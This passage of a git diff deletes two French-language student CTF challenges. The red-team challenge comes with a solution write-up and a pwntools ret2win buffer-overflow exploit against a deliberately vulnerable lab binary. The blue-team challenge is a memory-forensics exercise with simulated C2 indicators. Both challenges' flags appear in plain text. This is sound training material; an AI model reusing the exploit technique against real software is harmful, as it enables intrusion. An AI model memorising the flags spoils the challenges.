(placeholders) " - "utilisees. Definissez challenge.env ou passez les build-args " - "(LICENSE, FLAG1, FLAG2). Voir challenge.env.example.", - file=sys.stderr) - - enc = ", ".join(str(b ^ xor_key) for b in license_.encode()) - with open("secret.h", "w") as f: - f.write("#ifndef SECRET_H\n#define SECRET_H\n") - f.write("/* Genere par gen_secret.py -- ne pas editer a la main. */\n") - f.write(f"#define XOR_KEY 0x{xor_key:02x}\n") - f.write(f"#define LICENSE_LEN {len(license_)}\n") - f.write(f"static const unsigned char LICENSE_ENC[] = {{ {enc} }};\n") - f.write("#endif\n") - - with open("flag1.txt", "w") as f: - f.write(flag1 + "\n") - with open("flag2.txt", "w") as f: - f.write(flag2 + "\n") - - print(f"[gen_secret] secret.h + flags generes " - f"(licence:{s1}, flag1:{s2}, flag2:{s3}).") - - -if __name__ == "__main__": - main() diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/SOLUTION.md b/challenges/1-Red-Team-Binary-Vault-Jakub/solution/SOLUTION.md deleted file mode 100644 index 2750c96..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/SOLUTION.md +++ /dev/null @@ -1,71 +0,0 @@ -# Solution — VAULT-9 (Red Team 3) ⚠ SPOILERS - -Challenge intermĂ©diaire en deux Ă©tapes : **reverse** puis **exploitation binaire (ret2win)**. - -- **Flag 1** : `RM{r3v3rs3_l3_x0r_c0mm3_un_pr0}` -- **Flag 2** : `RM{r3t2w1n_l4_v4ult_3st_0uv3rt3}` - -Le binaire est compilĂ© **sans canari de pile et sans PIE** (`-fno-stack-protector -no-pie`), ce qui rend le ret2win rĂ©alisable au niveau intermĂ©diaire. - -``` -$ checksec vault - Arch: amd64 - RELRO: Partial - Stack: No canary found - NX: enabled - PIE: No PIE (0x400000) -``` - -## Étape 1 — Reverse de la licence - -En dĂ©sassemblant `check_license()` (Ghidra, IDA, ou `objdump -d`), on voit : -- la longueur attendue est **16** ; -- chaque octet saisi est **XORĂ© avec `0x5C`** puis comparĂ© Ă  un tableau constant `LICENSE_ENC` en `.rodata`. - -La licence est donc `LICENSE_ENC ^ 0x5C`. RĂ©cupĂ©ration rapide : - -```python -enc = [41, 50, 48, 108, 63, 55, 3, 40, 52, 111, 3, 42, 104, 41, 48, 40] -print(bytes(b ^ 0x5C for b in enc).decode()) # -> unl0ck_th3_v4ult -``` - -En saisissant `unl0ck_th3_v4ult`, le programme affiche le **flag 1** et donne accĂšs au « terminal de maintenance ». - -## Étape 2 — DĂ©bordement de tampon (ret2win) - -`access_terminal()` lit **200 octets** via `read()` dans `buf[64]` → dĂ©bordement. - -Cartographie de la pile : - -``` -[ buf : 64 octets ] <- rbp-0x40 -[ rbp sauvegardĂ© : 8 ] -[ adresse de retour : 8 ] <- cible -``` - -Offset jusqu'Ă  l'adresse de retour = **64 + 8 = 72**. - -La fonction `vault()` (jamais appelĂ©e par le flux normal) affiche le flag 2. Il suffit de rediriger l'exĂ©cution vers elle. Un gadget `ret` est insĂ©rĂ© avant l'adresse de `vault()` pour **rĂ©aligner la pile sur 16 octets** (sinon `movaps` dans `printf`/`puts` peut faire crasher). - -``` -payload = b"A"*72 + p64(ret_gadget) + p64(vault) -``` - -## Exploit automatisĂ© - -`exploit.py` (pwntools) enchaĂźne les deux Ă©tapes : - -```bash -# rĂ©cupĂ©rer le binaire distribuĂ© dans le dossier courant, puis : -python3 exploit.py -``` - -Sortie attendue : - -``` -[+] vault() @ 0x401334 -[+] Flag 1 : RM{r3v3rs3_l3_x0r_c0mm3_un_pr0} -[+] Flag 2 : RM{r3t2w1n_l4_v4ult_3st_0uv3rt3} -``` - -> TestĂ© et validĂ© le 20/07/2026, **en conteneur Docker** : build OK, chaĂźne complĂšte fonctionnelle (offset 72, gadget `ret` pour l'alignement, ret2win vers `vault` @ `0x401334`). Les 2 flags sont rĂ©cupĂ©rĂ©s par `exploit.py`. diff --git a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/exploit.py b/challenges/1-Red-Team-Binary-Vault-Jakub/solution/exploit.py deleted file mode 100644 index 4e3d0d1..0000000 --- a/challenges/1-Red-Team-Binary-Vault-Jakub/solution/exploit.py +++ /dev/null @@ -1,51 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -# ===================================================================== -# Solution de reference -- VAULT-9 (Red Team 3) /!\ SPOILER -# -# Usage : -# python3 exploit.py -# (necessite le binaire ./vault dans le repertoire courant) -# -# Chaine : -# Etape 1 (reverse) : la licence est stockee XORee avec 0x5C. -# licence = LICENSE_ENC ^ 0x5C = "unl0ck_th3_v4ult" -# Etape 2 (pwn) : debordement de buf[64] dans access_terminal(). -# offset RIP = 64 + 8 (rbp) = 72 -# ret2win vers vault(), precede d'un gadget `ret` -# pour realigner la pile sur 16 octets (movaps). -# ===================================================================== -import sys -from pwn import * - -context.log_level = "info" - -HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" -PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 9003 -LICENSE = b"unl0ck_th3_v4ult" - -elf = ELF("./vault") -vault_addr = elf.symbols["vault"] -ret_gadget = next(elf.search(asm("ret"), executable=True)) -log.info("vault() @ %#x", vault_addr) -log.info("ret gadget @ %#x", ret_gadget) - -io = remote(HOST, PORT) - -# --- Etape 1 : licence recuperee par reverse --- -io.sendlineafter(b"licence > ", LICENSE) -io.recvuntil(b"flag 1): ") -flag1 = io.recvline().strip().decode() -log.success("Flag 1 : %s", flag1) - -# --- Etape 2 : ret2win --- -payload = b"A" * 72 # 64 (buf) + 8 (rbp sauvegarde) -payload += p64(ret_gadget) # alignement de pile -payload += p64(vault_addr) # detournement vers vault() -io.sendlineafter(b"Commande > ", payload) - -io.recvuntil(b"flag 2: ") -flag2 = io.recvline().strip().decode() -log.success("Flag 2 : %s", flag2) - -io.close() diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore b/challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore deleted file mode 100644 index 7c6271d..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.dockerignore +++ /dev/null @@ -1,30 +0,0 @@ -# Environnement virtuel local -venv/ -.venv/ - -# Solution complĂšte (ne pas embarquer dans l'image joueur) -solution/SOLUTION.md - -# Fichiers Python cache -__pycache__/ -*.pyc -*.pyo - -# Git -.git/ -.gitignore - -# Éditeur -.vscode/ -*.swp -*.swo - -# Fichiers gĂ©nĂ©rĂ©s localement (seront recréés dans le build) -challenge/ -dump_out/ -extracted/ - -# Docker -Dockerfile -docker-compose.yml -.dockerignore diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore b/challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore deleted file mode 100644 index 87e29b1..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Fichiers gĂ©nĂ©rĂ©s au build Docker (recréés automatiquement) -challenge/memory.dmp -challenge/network_capture.pcap -challenge/hints.txt - -# Export Docker (trop lourd pour git) -*.tar -*.tar.gz - -# Python -__pycache__/ -*.pyc -*.pyo -.venv/ -venv/ - -# Fichiers extraits/gĂ©nĂ©rĂ©s localement -dump_out/ -extracted/ - -# Éditeur -.vscode/ -*.swp -*.swo diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile b/challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile deleted file mode 100644 index b5cdbf3..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/Dockerfile +++ /dev/null @@ -1,71 +0,0 @@ -# ============================================================================= -# Blue Team CTF – Memory Forensics Challenge (Container) -# ============================================================================= -# Stage 1 : GĂ©nĂšre le dump mĂ©moire et le PCAP -# Stage 2 : Image lĂ©gĂšre avec uniquement les outils d'analyse + les fichiers -# ============================================================================= - -# ── Stage 1 : Builder (gĂ©nĂ©ration des artefacts) ───────────────────────────── -FROM python:3.11-slim AS builder - -WORKDIR /build - -# Copier les scripts de gĂ©nĂ©ration -COPY setup/ ./setup/ - -# Installer les dĂ©pendances de gĂ©nĂ©ration -RUN pip install --no-cache-dir -r setup/requirements.txt - -# GĂ©nĂ©rer le dump mĂ©moire et le PCAP -RUN python setup/generate_challenge.py && \ - python setup/generate_pcap.py - - -# ── Stage 2 : Image finale (challenge) ─────────────────────────────────────── -FROM python:3.11-slim - -LABEL maintainer="Jakub – ESGI Projet Annuel 2026" -LABEL description="Blue Team CTF – MĂ©moire et Analyse de Malware" - -# EmpĂȘcher Python de bufferiser stdout/stderr -ENV PYTHONUNBUFFERED=1 -ENV TERM=xterm-256color - -WORKDIR /challenge - -# Copier les artefacts gĂ©nĂ©rĂ©s depuis le builder -COPY --from=builder /build/challenge/ ./challenge/ - -# Copier les outils d'analyse (accessibles au joueur) -COPY tools/ ./tools/ - -# Copier le template de rapport -COPY report/ ./report/ - -# Copier le script de validation (le joueur peut valider ses rĂ©ponses) -COPY solution/validate_flag.py ./solution/validate_flag.py - -# Copier le README -COPY README.md ./README.md - -# Copier le script d'accueil -COPY docker-entrypoint.sh /usr/local/bin/docker-entrypoint.sh -RUN chmod +x /usr/local/bin/docker-entrypoint.sh - -# CrĂ©er un utilisateur non-root pour le joueur -RUN useradd -m -s /bin/bash analyst && \ - chown -R analyst:analyst /challenge - -# Installer les outils utiles pour l'analyse -RUN apt-get update && apt-get install -y --no-install-recommends \ - less \ - nano \ - vim-tiny \ - xxd \ - file \ - && rm -rf /var/lib/apt/lists/* - -USER analyst - -ENTRYPOINT ["docker-entrypoint.sh"] -CMD ["/bin/bash"] diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md deleted file mode 100644 index b02f7a4..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/README.md +++ /dev/null @@ -1,77 +0,0 @@ -# đŸ”” Blue Team CTF – MĂ©moire et Analyse de Malware -### Challenge Jakub – Forensique MĂ©moire avec Volatility - -## 📌 Documentation -- Guide joueur: `docs/USER_GUIDE.md` -- Guide admin/deploiement: `docs/ADMIN_DEPLOYMENT.md` - ---- - -## 📖 Contexte - -L'Ă©quipe SOC a Ă©tĂ© alertĂ©e d'un comportement suspect sur la machine **DESKTOP-F4K3LAB** du rĂ©seau interne. Un analyste junior a immĂ©diatement effectuĂ© un dump mĂ©moire de la VM Windows compromise avant de l'isoler du rĂ©seau. - -L'investigation prĂ©liminaire suggĂšre que **l'attaquant a dĂ©ployĂ© un implant en mĂ©moire qui communique avec un serveur C2 (Command & Control)**. Votre mission est d'analyser ce dump mĂ©moire pour identifier la menace, extraire les artefacts malveillants et rĂ©cupĂ©rer les preuves. - -> 🎯 **Objectif** : Trouver le processus malveillant, identifier le C2, et rĂ©cupĂ©rer le flag cachĂ©. - ---- - -## 📁 Structure du Challenge - -``` -2-Blue-Team-Memory-Forensics/ -├── README.md ← Vous ĂȘtes ici -├── Dockerfile ← Image du challenge -├── docker-compose.yml ← Orchestration Docker -├── docker-entrypoint.sh ← Script d'accueil du conteneur -├── .dockerignore ← Fichiers exclus du build -├── challenge/ ← (gĂ©nĂ©rĂ© au build Docker) -│ ├── memory.dmp ← Dump mĂ©moire Ă  analyser -│ ├── network_capture.pcap ← Capture rĂ©seau bonus -│ └── hints.txt ← Indices (si besoin) -├── docs/ -│ ├── USER_GUIDE.md ← Guide joueur -│ └── ADMIN_DEPLOYMENT.md ← Guide admin et dĂ©ploiement -├── tools/ -│ ├── vol_analyzer.py ← Outil d'analyse (mini-Volatility) -│ └── extract_strings.py ← Extracteur de chaĂźnes -├── setup/ -│ ├── generate_challenge.py ← GĂ©nĂ©rateur du dump (admin only) -│ ├── generate_pcap.py ← GĂ©nĂ©rateur du PCAP (admin only) -│ └── requirements.txt ← DĂ©pendances Python -├── solution/ -│ ├── SOLUTION.md ← Solution complĂšte (⚠ SPOILERS) -│ └── validate_flag.py ← Script de validation -└── report/ - └── report_template.md ← Template de rapport Ă  remplir (partagĂ©) -``` - ---- - -## 🎯 Public cible - -Ce depot contient deux parcours de documentation : -- Joueurs CTF : `docs/USER_GUIDE.md` -- Admins/DevOps (deploiement) : `docs/ADMIN_DEPLOYMENT.md` - -## ✅ Usage recommande - -- Si vous etes joueur : commencez par `docs/USER_GUIDE.md` -- Si vous deployez le challenge dans CTFd : suivez `docs/ADMIN_DEPLOYMENT.md` - -## 🔎 Notes - -- Le challenge est conteneurise pour l'isolation des instances. -- Le mode soutenance actuel expose les artefacts via HTTP depuis le conteneur. -- Le detail de configuration CTFd, du flag et du troubleshooting est volontairement deplace dans `docs/ADMIN_DEPLOYMENT.md`. - ---- - -## ⚠ Avertissement - -Ce challenge est conçu Ă  des fins **Ă©ducatives uniquement**. Les techniques prĂ©sentĂ©es doivent ĂȘtre utilisĂ©es de maniĂšre Ă©thique et lĂ©gale, uniquement dans des environnements autorisĂ©s. - ---- - -*Blue Team CTF – Jakub – ESGI Projet Annuel 2026* \ No newline at end of file diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml deleted file mode 100644 index 80f31ea..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-compose.yml +++ /dev/null @@ -1,16 +0,0 @@ -# ============================================================================= -# Blue Team CTF – Docker Compose -# ============================================================================= - -services: - blue-team-challenge: - build: - context: . - dockerfile: Dockerfile - container_name: blueteam-memory-forensics - stdin_open: true # -i : garder stdin ouvert - tty: true # -t : allouer un pseudo-TTY - volumes: - # Le rapport est partagĂ© avec l'hĂŽte pour pouvoir le rĂ©cupĂ©rer - - ./report:/challenge/report - # Pas de ports exposĂ©s : le challenge est 100% en CLI dans le conteneur diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh deleted file mode 100644 index fa17999..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docker-entrypoint.sh +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/bash -# ============================================================================= -# Blue Team CTF – Script d'accueil du conteneur -# Mode dual : HTTP (port 8000) pour le download des artefacts -# + terminal interactif pour l'analyse locale -# ============================================================================= - -# ── DĂ©marrer le serveur HTTP en arriĂšre-plan ────────────────────────────────── -python3 -m http.server 8000 --directory /challenge/challenge & -HTTP_PID=$! -echo "[+] Serveur HTTP dĂ©marrĂ© sur le port 8000 (PID: $HTTP_PID)" - -cat << 'BANNER' - - ╔══════════════════════════════════════════════════════════════╗ - ║ ║ - ║ đŸ”” BLUE TEAM CTF – MĂ©moire et Analyse de Malware ║ - ║ ║ - ║ Jakub – ESGI Projet Annuel 2026 ║ - ║ ║ - ╠══════════════════════════════════════════════════════════════╣ - ║ ║ - ║ 📖 Contexte : ║ - ║ L'attaquant a dĂ©ployĂ© un implant en mĂ©moire qui ║ - ║ communique avec un serveur C2. ║ - ║ Trouvez le C2 et le flag ! ║ - ║ ║ - ║ 🌐 TĂ©lĂ©chargement des artefacts (via CTFd) : ║ - ║ http://:8000/memory.dmp ║ - ║ http://:8000/network_capture.pcap ║ - ║ http://:8000/hints.txt ║ - ║ ║ - ║ 📁 Fichiers disponibles localement : ║ - ║ challenge/memory.dmp → Dump mĂ©moire ║ - ║ challenge/network_capture.pcap → Capture rĂ©seau (bonus) ║ - ║ challenge/hints.txt → Indices ║ - ║ report/report_template.md → Rapport Ă  remplir ║ - ║ ║ - ║ 🔧 Outils d'analyse (dans ce terminal) : ║ - ║ python3 tools/vol_analyzer.py -f challenge/memory.dmp \ ║ - ║ windows.info | pslist | pstree | netscan | ║ - ║ malfind | dlllist | handles | dumpfiles | ║ - ║ strings | registry ║ - ║ ║ - ║ ✅ Validation : ║ - ║ python3 solution/validate_flag.py ║ - ║ ║ - ║ 💡 Commencez par : ║ - ║ python3 tools/vol_analyzer.py -f challenge/memory.dmp \ ║ - ║ windows.pslist ║ - ║ ║ - ╚══════════════════════════════════════════════════════════════╝ - -BANNER - -# ── Mode dual : interactif (local) vs dĂ©tachĂ© (CTFd) ───────────────────────── -if [ -t 0 ]; then - # TTY prĂ©sent → mode interactif (docker run -it) : lancer bash - exec "$@" -else - # Pas de TTY → mode CTFd dĂ©tachĂ© : le conteneur vit via le serveur HTTP - echo "[+] Mode non-interactif dĂ©tectĂ© (CTFd). En attente sur le serveur HTTP..." - wait $HTTP_PID -fi diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md deleted file mode 100644 index b5d4543..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/ADMIN_DEPLOYMENT.md +++ /dev/null @@ -1,90 +0,0 @@ -# Blue Team Memory Forensics - Guide Admin/Deploiement - -## 1) Build de l'image -Depuis `challenges/2-Blue-Team-Memory-Forensics`: - -```bash -docker build -t blue-team-memory-forensics:latest . -``` - -## 2) Test local (mode dual : HTTP + terminal) - -Lancer le conteneur localement pour vĂ©rifier que tout fonctionne : - -```bash -docker run -it --rm -p 8000:8000 blue-team-memory-forensics:latest -``` - -- **HTTP (port 8000)** : artefacts disponibles Ă  `http://localhost:8000/` -- **Terminal interactif** : outils d'analyse (`vol_analyzer.py`) utilisables directement - -## 3) Export et transfert vers le serveur -```bash -docker save -o blue-team-memory-forensics.tar blue-team-memory-forensics:latest -scp -i "" ".\blue-team-memory-forensics.tar" jakub@:/tmp/ -``` - -## 4) Import sur le serveur -```bash -docker load -i /tmp/blue-team-memory-forensics.tar -docker images | grep blue-team-memory-forensics -``` - -## 5) Configuration CTFd (soutenance) -Challenge type: `container` - -- **Name**: `Blue Team - Jakub - Memoire et analyse de malware (Volatility)` -- **Category**: `Blue Team` -- **Image**: `blue-team-memory-forensics:latest` -- **Port**: `8000` -- **Command**: laisser vide (l'entrypoint gĂšre tout : HTTP + terminal) -- **Initial Value**: `100` -- **Decay Limit**: `0` -- **Minimum Value**: `100` -- **Volumes**: vide - -> **Note** : Le conteneur dĂ©marre automatiquement : -> 1. Un serveur HTTP sur le port 8000 → les joueurs tĂ©lĂ©chargent les artefacts via l'URL CTFd -> 2. Un terminal bash → accessible via `docker exec` pour les tests admin - -## 6) Creation du flag (obligatoire) -Dans l'onglet `Flags`: -- **Type**: `Static` -- **Valeur**: `blue{m3m_f0r3ns1cs_v0l4t1l1ty_m4st3r}` -- **Case Sensitive**: activĂ© - -## 7) Sequence de validation -1. Laisser le challenge en `Hidden`. -2. Tester `Start Instance` avec un compte joueur. -3. VĂ©rifier l'accĂšs HTTP aux fichiers : `http://:8000/memory.dmp` -4. VĂ©rifier que `hints.txt` et `network_capture.pcap` sont bien accessibles. -5. Soumettre le flag `blue{m3m_f0r3ns1cs_v0l4t1l1ty_m4st3r}` pour valider. -6. Passer en `Visible`. - -## 8) Troubleshooting -Si l'instance ne dĂ©marre pas : - -```bash -docker ps -a -docker logs -``` - -Si l'image n'existe pas : - -```bash -docker load -i /tmp/blue-team-memory-forensics.tar -``` - -Si le port 8000 ne rĂ©pond pas : - -```bash -# VĂ©rifier que le serveur HTTP tourne dans le conteneur -docker exec ps aux | grep http.server -``` - -## 9) AccĂšs terminal admin (debug) -```bash -docker exec -it bash -# Puis utiliser les outils d'analyse : -python3 tools/vol_analyzer.py -f challenge/memory.dmp windows.pslist -``` diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md deleted file mode 100644 index 4c0e31f..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/docs/USER_GUIDE.md +++ /dev/null @@ -1,60 +0,0 @@ -# Blue Team Memory Forensics - Guide Joueur - -## Objectif -Analyser un dump mĂ©moire Windows compromis pour identifier le processus malveillant, le serveur C2 et rĂ©cupĂ©rer le flag final. - -## AccĂšs au challenge (via CTFd) - -1. Connectez-vous avec votre compte joueur. -2. Ouvrez le challenge `Blue Team - Jakub - Memoire et analyse de malware (Volatility)`. -3. Cliquez sur `Start Instance` et notez l'URL d'instance fournie par CTFd. -4. TĂ©lĂ©chargez les artefacts depuis l'URL d'instance : - ``` - http://:8000/memory.dmp - http://:8000/network_capture.pcap - http://:8000/hints.txt - ``` - -## Outils d'analyse - -> ⚠ **Important** : le dump `memory.dmp` est dans un **format pĂ©dagogique dĂ©diĂ© Ă  ce -> challenge**, pas une image mĂ©moire brute standard. Le vrai Volatility 3 (`vol.py`) ne -> sait pas le lire, et un `strings` classique ne rĂ©vĂšle pas le flag (il est encodĂ©). -> Utilisez l'**outil fourni dans le conteneur** : `tools/vol_analyzer.py` (un -> « mini‑Volatility » qui reproduit les commandes `windows.*` sur ce format). - -Depuis le terminal du challenge (ou aprĂšs avoir rĂ©cupĂ©rĂ© les fichiers du dĂ©pĂŽt) : - -```bash -# Syntaxe gĂ©nĂ©rale -python3 tools/vol_analyzer.py -f challenge/memory.dmp - -# Commandes disponibles : -# windows.info windows.pslist windows.pstree windows.netscan -# windows.malfind windows.dlllist windows.handles windows.dumpfiles -# windows.strings windows.registry -``` - -Outils complĂ©mentaires : -- **`tools/extract_strings.py`** — extraction/dĂ©codage des chaĂźnes du binaire extrait. -- **Wireshark / `tshark`** — analyse du PCAP rĂ©seau (`network_capture.pcap`) pour l'Ă©tape bonus. - -## Piste de rĂ©solution - -Toutes les commandes ci-dessous se lancent via `python3 tools/vol_analyzer.py -f challenge/memory.dmp `. - -1. `windows.pslist` / `windows.pstree` — cherchez un nom ou une hiĂ©rarchie suspecte. -2. Identifiez le processus suspect en regardant son PPID et sa session. -3. `windows.netscan` — vĂ©rifiez les connexions rĂ©seau associĂ©es Ă  ce PID. -4. `windows.malfind` — recherchez de l'injection mĂ©moire. -5. `windows.strings --pid ` (ou `tools/extract_strings.py`) — extrayez et analysez les chaĂźnes du binaire malveillant. -6. RĂ©cupĂ©rez le flag cachĂ© dans la configuration du malware. - -## Format du flag -`blue{...}` - -## Soumission -Soumettez le flag final dans CTFd depuis la page du challenge. - -## Indices -Si vous ĂȘtes bloquĂ©, consultez `hints.txt` tĂ©lĂ©chargĂ© depuis l'instance. diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md b/challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md deleted file mode 100644 index 32fd190..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/report/report_template.md +++ /dev/null @@ -1,100 +0,0 @@ -# đŸ”” Blue Team – Rapport d'Analyse MĂ©moire - -**Analyste :** _____________________ -**Date :** _____________________ -**Fichier analysĂ© :** memory.dmp - ---- - -## 1. RĂ©sumĂ© ExĂ©cutif - -_DĂ©crivez briĂšvement l'incident et vos conclusions principales._ - ---- - -## 2. Processus Malveillant IdentifiĂ© - -| Champ | Valeur | -|----------------------|---------------------| -| **PID** | | -| **Nom du processus** | | -| **PID Parent (PPID)**| | -| **Chemin complet** | | -| **Heure de crĂ©ation**| | - -### Justification -_Expliquez pourquoi ce processus est suspect (nom, parentage, chemin, comportement)._ - ---- - -## 3. Analyse des Injections (malfind) - -_DĂ©crivez les sections mĂ©moire suspectes trouvĂ©es :_ - -- **Adresse de base :** -- **Permissions :** (RWX ?) -- **Taille :** -- **Contenu notable :** - ---- - -## 4. Extraction & Analyse du Binaire - -_RĂ©sultats de l'extraction du processus / des fichiers :_ - -- **Hash MD5/SHA256 :** -- **Strings intĂ©ressantes :** -- **Comportement identifiĂ© :** - ---- - -## 5. Communication C2 - -| Champ | Valeur | -|----------------------|---------------------| -| **IP/URL du C2** | | -| **Port** | | -| **Protocole** | | -| **FrĂ©quence beacon** | | - ---- - -## 6. Flag RĂ©cupĂ©rĂ© - -``` -FLAG : ___________________________ -``` - ---- - -## 7. CorrĂ©lation RĂ©seau (Bonus) - -_Si un fichier PCAP Ă©tait disponible, dĂ©crivez les connexions rĂ©seau confirmant l'exfiltration :_ - -- **IP source :** -- **IP destination :** -- **DonnĂ©es exfiltrĂ©es :** - ---- - -## 8. Recommandations - -1. _Isoler la machine compromise_ -2. _Bloquer le C2 au niveau firewall_ -3. _Scanner les autres machines du rĂ©seau_ -4. _..._ - ---- - -## 9. Indicateurs de Compromission (IoC) - -| Type | Valeur | Description | -|-----------|---------------------------|-----------------------| -| IP | | | -| Domaine | | | -| Hash | | | -| Processus | | | - ---- - -**Signature de l'analyste :** _____________________ diff --git a/challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py b/challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py deleted file mode 100644 index 6391851..0000000 --- a/challenges/2-Blue-Team-Memory-Forensics-Jakub/setup/generate_challenge.py +++ /dev/null @@ -1,422 +0,0 @@ -#!/usr/bin/env python3 -""" -============================================================================= - Blue Team CTF – Memory Dump Challenge Generator - Jakub – MĂ©moire et analyse de malware (Volatility) -============================================================================= -GĂ©nĂšre un fichier memory.dmp simulĂ© contenant : - - Une table de processus Windows rĂ©aliste (EPROCESS-like) - - Un processus malveillant injectĂ© (implant C2) - - Des sections mĂ©moire marquĂ©es RWX (malfind) - - Des connexions rĂ©seau actives (netscan) - - Un binaire malveillant cachĂ© avec strings C2 + flag - - Un fichier PCAP bonus avec trafic C2 - -Le dump est un format binaire structurĂ© lisible par les outils -d'analyse fournis dans tools/. -""" - -import struct -import json -import hashlib -import os -import sys -import random -import base64 -import time -from datetime import datetime, timedelta - -# ─── Configuration du challenge ─────────────────────────────────────────────── - -CHALLENGE_CONFIG = { - "flag": "blue{m3m_f0r3ns1cs_v0l4t1l1ty_m4st3r}", - "c2_domain": "c2.darkops-syndicate.net", - "c2_ip": "185.141.27.83", - "c2_port": 4444, - "c2_backup_port": 8443, - "malware_name": "svchost_update.exe", - "malware_pid": 6847, - "malware_ppid": 1052, # svchost.exe (session 0) – parentage illogique pour un proc en session 1 - "malware_path": r"C:\Users\admin\AppData\Local\Temp\svchost_update.exe", - "victim_ip": "192.168.1.47", - "beacon_interval": 30, - "encryption_key": "X0rK3y!@#2026", - "exfil_data": "CONFIDENTIAL_PROJECT_OMEGA_FILES", -} - -# ─── Processus lĂ©gitimes Windows rĂ©alistes ───────────────────────────────────── - -LEGITIMATE_PROCESSES = [ - {"pid": 4, "ppid": 0, "name": "System", "path": r"", "threads": 164, "handles": 2847, "session": 0, "create_time": "2026-02-20 08:00:01"}, - {"pid": 108, "ppid": 4, "name": "Registry", "path": r"", "threads": 4, "handles": 0, "session": 0, "create_time": "2026-02-20 08:00:01"}, - {"pid": 392, "ppid": 4, "name": "smss.exe", "path": r"C:\Windows\System32\smss.exe", "threads": 2, "handles": 53, "session": 0, "create_time": "2026-02-20 08:00:02"}, - {"pid": 520, "ppid": 504, "name": "csrss.exe", "path": r"C:\Windows\System32\csrss.exe", "threads": 12, "handles": 587, "session": 0, "create_time": "2026-02-20 08:00:04"}, - {"pid": 604, "ppid": 504, "name": "wininit.exe", "path": r"C:\Windows\System32\wininit.exe", "threads": 1, "handles": 77, "session": 0, "create_time": "2026-02-20 08:00:05"}, - {"pid": 616, "ppid": 596, "name": "csrss.exe", "path": r"C:\Windows\System32\csrss.exe", "threads": 13, "handles": 430, "session": 1, "create_time": "2026-02-20 08:00:05"}, - {"pid": 700, "ppid": 596, "name": "winlogon.exe", "path": r"C:\Windows\System32\winlogon.exe", "threads": 3, "handles": 197, "session": 1, "create_time": "2026-02-20 08:00:05"}, - {"pid": 756, "ppid": 604, "name": "services.exe", "path": r"C:\Windows\System32\services.exe", "threads": 7, "handles": 313, "session": 0, "create_time": "2026-02-20 08:00:06"}, - {"pid": 764, "ppid": 604, "name": "lsass.exe", "path": r"C:\Windows\System32\lsass.exe", "threads": 9, "handles": 1289, "session": 0, "create_time": "2026-02-20 08:00:06"}, - {"pid": 868, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 21, "handles": 905, "session": 0, "create_time": "2026-02-20 08:00:07"}, - {"pid": 916, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 13, "handles": 471, "session": 0, "create_time": "2026-02-20 08:00:07"}, - {"pid": 1008, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 64, "handles": 1694, "session": 0, "create_time": "2026-02-20 08:00:08"}, - {"pid": 1052, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 18, "handles": 653, "session": 0, "create_time": "2026-02-20 08:00:08"}, - {"pid": 1148, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 30, "handles": 822, "session": 0, "create_time": "2026-02-20 08:00:09"}, - {"pid": 1264, "ppid": 756, "name": "spoolsv.exe", "path": r"C:\Windows\System32\spoolsv.exe", "threads": 7, "handles": 312, "session": 0, "create_time": "2026-02-20 08:00:12"}, - {"pid": 1388, "ppid": 756, "name": "svchost.exe", "path": r"C:\Windows\System32\svchost.exe", "threads": 9, "handles": 300, "session": 0, "create_time": "2026-02-20 08:00:14"}, - {"pid": 1576, "ppid": 756, "name": "VBoxService.exe", "path": r"C:\Program Files\Oracle\VirtualBox Guest Additions\VBoxService.exe", "threads": 11, "handles": 140, "session": 0, "create_time": "2026-02-20 08:00:16"}, - {"pid": 2028, "ppid": 756, "name": "SecurityHealth.exe", "path": r"C:\Windows\System32\SecurityHealthService.exe", "threads": 12, "handles": 347, "session": 0, "create_time": "2026-02-20 08:00:22"}, - {"pid": 2480, "ppid": 1008, "name": "taskhostw.exe", "path": 